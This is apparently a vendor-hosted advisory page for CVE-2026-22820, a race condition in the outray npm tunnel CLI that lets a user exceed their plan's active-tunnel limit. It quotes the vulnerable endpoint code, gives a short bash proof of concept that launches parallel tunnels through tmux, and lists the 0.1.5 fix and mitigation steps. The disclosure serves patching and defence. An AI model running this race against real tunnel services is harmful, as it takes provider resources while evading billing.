Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-22820 — outray

Fix: outray-tunnel/outray@08c6149

CVE-2026-22820 is a CWE-367 vulnerability in outray. A fix is available for outray — see the affected versions and patch details below.

Outray cli is vulnerable to race conditions in tunnels creation

Also known asGHSA-3pqc-836w-jgr7
Published
Jan 14, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22820.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs10th percentile — riskier than 10% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
outraynpm
255downloads / week

Description

Summary

A TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.

Details

Affected conponent: apps/web/src/routes/api/tunnel/register.ts

  • /tunnel/register endpoint code-:
// Check if tunnel already exists in database
          const [existingTunnel] = await db
            .select()
            .from(tunnels)
            .where(eq(tunnels.url, tunnelUrl));

          const isReconnection = !!existingTunnel;

          console.log(
            `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,
          );
          console.log(
            `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,
          );
          console.log(
            `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,
          );

          // Check limits only for NEW tunnels (not reconnections)
          if (!isReconnection) {
            // Count active tunnels from Redis SET
            const activeCount = await redis.scard(setKey);
            console.log(
              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
            );

            // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)
            // So we check if activeCount >= limit (not >)
            if (activeCount >= tunnelLimit) {
              console.log(
                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
              );
              return json(
                {
                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
                },
                { status: 403 },
              );
            }
            console.log(
              `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,
            );
          } else {
            console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);
          }

          if (existingTunnel) {
            // Tunnel with this URL already exists, update lastSeenAt
            await db
              .update(tunnels)
              .set({ lastSeenAt: new Date() })
              .where(eq(tunnels.id, existingTunnel.id));

            return json({
              success: true,
              tunnelId: existingTunnel.id,
            });
          }

          // Create new tunnel record
          const tunnelRecord = {
            id: randomUUID(),
            url: tunnelUrl,
            userId,
            organizationId,
            name: name || null,
            protocol,
            remotePort: remotePort || null,
            lastSeenAt: new Date(),
            createdAt: new Date(),
            updatedAt: new Date(),
          };

          await db.insert(tunnels).values(tunnelRecord);

          return json({ success: true, tunnelId: tunnelRecord.id });
        } catch (error) {
          console.error("Tunnel registration error:", error);
          return json({ error: "Internal server error" }, { status: 500 });
        }
  • It checks if the tunnel exists in the database.
// Check if tunnel already exists in database
          const [existingTunnel] = await db
            .select()
            .from(tunnels)
            .where(eq(tunnels.url, tunnelUrl));

          const isReconnection = !!existingTunnel;
  • Limit is checked here-:
// Check limits only for NEW tunnels (not reconnections)

if (!isReconnection) {

// Count active tunnels from Redis SET

const activeCount = await redis.scard(setKey);

console.log(

`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,

);
  • Redis is checked for existing tunnel to check for reconnection.
// Check limits only for NEW tunnels (not reconnections)
          if (!isReconnection) {
            // Count active tunnels from Redis SET
            const activeCount = await redis.scard(setKey);
            console.log(
              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
            );
  • If the tunnel limit is exceeded, it pops up the tunnel limit error.
if (activeCount >= tunnelLimit) {
              console.log(
                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
              );
              return json(
                {
                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
                },
                { status: 403 },
              );
  • If the limit is not exceeded, it triggers a the Insert Statement without locking transactions from other request
await db.insert(tunnels).values(tunnelRecord);
  • If parallel requests are made by the wshandler in /outray/outray-main/apps/tunnel/src/core/WSHandler.ts from the command line app. A request can work on a non updated row because the insert row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.

PoC

Using this simple bash script, the outray binary will be run at the same time in one tmux window, demonstrating the race condition and opening 4 tunnels.

#!/usr/bin/env bash

# POC for Outray Tunnel Race condition
SESSION="outray-race"
PORTS=(8090 4000 5000 6000)

# Create new detached tmux session
tmux new-session -d -s "$SESSION" "echo '[*] outray race session started'; bash"

# Split the panes and run outray
for i in "${!PORTS[@]}"; do
  port="${PORTS[$i]}"

  if [ "$i" -ne 0 ]; then
    tmux split-window -t "$SESSION" -h
    tmux select-layout -t "$SESSION" tiled
  fi

  tmux send-keys -t "$SESSION" "echo '[*] Running outray on port $port'; outray $port" C-m
done

tmux set-window-option -t "$SESSION" synchronize-panes off

echo "[+] tmux session '$SESSION' created"
echo "[+] Attach with: tmux attach -t $SESSION"

Running this

seeker@instance-20260106-20011$ bash kay.sh
[+] tmux session 'outray-race' created
[+] Attach with: tmux attach -t outray-race

seeker@instance-20260106-20011$ tmux attach -t outray-race
<img width="1909" height="1021" alt="image" src="https://github.com/user-attachments/assets/c234cc94-fc25-4542-abdf-815332493a85" /> <img width="1907" height="936" alt="image" src="https://github.com/user-attachments/assets/1c302d7f-1ca6-46af-ab72-60fd01cdfded" />

Impact

By exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmoutrayall versions0.1.5npm install outray@0.1.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for outray, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update outray to 0.1.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22820 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22820 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-22820. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan. ### Details Affected conponent: `apps/web/src/routes/api/tunnel/register.ts` - `/tunnel/register` endpoint code-: ```ts // Check if tunnel already exists in database const [existingTunnel] = await db .select() .from(tunnels) .where(eq(tunnels.url, tunnelUrl)); const isReconnection = !!existingTunnel; console.log( `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`
O3 Security · Impact-Aware SCA

Is CVE-2026-22820 in your dependencies?

O3 Security finds CVE-2026-22820 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-22820: outray | O3 Security